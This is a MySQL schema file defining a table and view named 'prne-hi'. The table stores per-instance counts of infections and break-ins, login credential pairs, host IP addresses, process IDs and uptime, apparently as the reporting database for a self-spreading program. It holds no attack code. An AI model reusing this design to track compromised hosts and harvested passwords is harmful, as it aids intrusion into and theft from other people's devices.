1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
--
-- Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
--
-- Permission is hereby granted, free of charge, to any person obtaining a copy
-- of this software and associated documentation files (the "Software"), to deal
-- in the Software without restriction, including without limitation the rights
-- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-- copies of the Software, and to permit persons to whom the Software is
-- furnished to do so, subject to the following conditions:
--
-- The above copyright notice and this permission notice shall be included in all
-- copies or substantial portions of the Software.
--
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-- SOFTWARE.
--
CREATE TABLE `prne-hi` (
`instance_id` binary(16) NOT NULL,
`org_id` binary(16) DEFAULT NULL,
`inserted` datetime NOT NULL,
`updated` datetime NOT NULL,
`parent_uptime` int(10) unsigned DEFAULT NULL,
`child_uptime` int(10) unsigned DEFAULT NULL,
`bne_cnt` bigint(20) unsigned DEFAULT NULL,
`infect_cnt` bigint(20) unsigned DEFAULT NULL,
`parent_pid` int(11) unsigned DEFAULT NULL,
`child_pid` int(11) unsigned DEFAULT NULL,
`prog_ver` binary(16) DEFAULT NULL,
`boot_id` binary(16) DEFAULT NULL,
`cred_id` varchar(255) DEFAULT NULL,
`cred_pw` varchar(255) DEFAULT NULL,
`crash_cnt` int(10) unsigned DEFAULT NULL,
`arch` tinyint unsigned DEFAULT NULL,
`os` tinyint unsigned DEFAULT NULL,
`flags` varbinary(255) DEFAULT NULL,
`ipaddr` binary(16) DEFAULT NULL,
PRIMARY KEY (`instance_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
CREATE VIEW `prne`.`prne-hi-view` AS
SELECT
HEX(`prne`.`prne-hi`.`instance_id`) AS `HEX(instance_id)`,
HEX(`prne`.`prne-hi`.`org_id`) AS `HEX(org_id)`,
`prne`.`prne-hi`.`inserted` AS `inserted`,
`prne`.`prne-hi`.`updated` AS `updated`,
`prne`.`prne-hi`.`parent_uptime` AS `parent_uptime`,
`prne`.`prne-hi`.`child_uptime` AS `child_uptime`,
`prne`.`prne-hi`.`bne_cnt` AS `bne_cnt`,
`prne`.`prne-hi`.`infect_cnt` AS `infect_cnt`,
`prne`.`prne-hi`.`parent_pid` AS `parent_pid`,
`prne`.`prne-hi`.`child_pid` AS `child_pid`,
HEX(`prne`.`prne-hi`.`prog_ver`) AS `HEX(prog_ver)`,
HEX(`prne`.`prne-hi`.`boot_id`) AS `HEX(boot_id)`,
`prne`.`prne-hi`.`cred_id` AS `cred_id`,
`prne`.`prne-hi`.`cred_pw` AS `cred_pw`,
`prne`.`prne-hi`.`crash_cnt` AS `crash_cnt`,
`prne`.`prne-hi`.`arch` AS `arch`,
`prne`.`prne-hi`.`os` AS `os`,
HEX(`prne`.`prne-hi`.`flags`) AS `flags`,
INET6_NTOA(`prne`.`prne-hi`.`ipaddr`) AS `INET6_NTOA(ipaddr)`
FROM
`prne`.`prne-hi`;
|
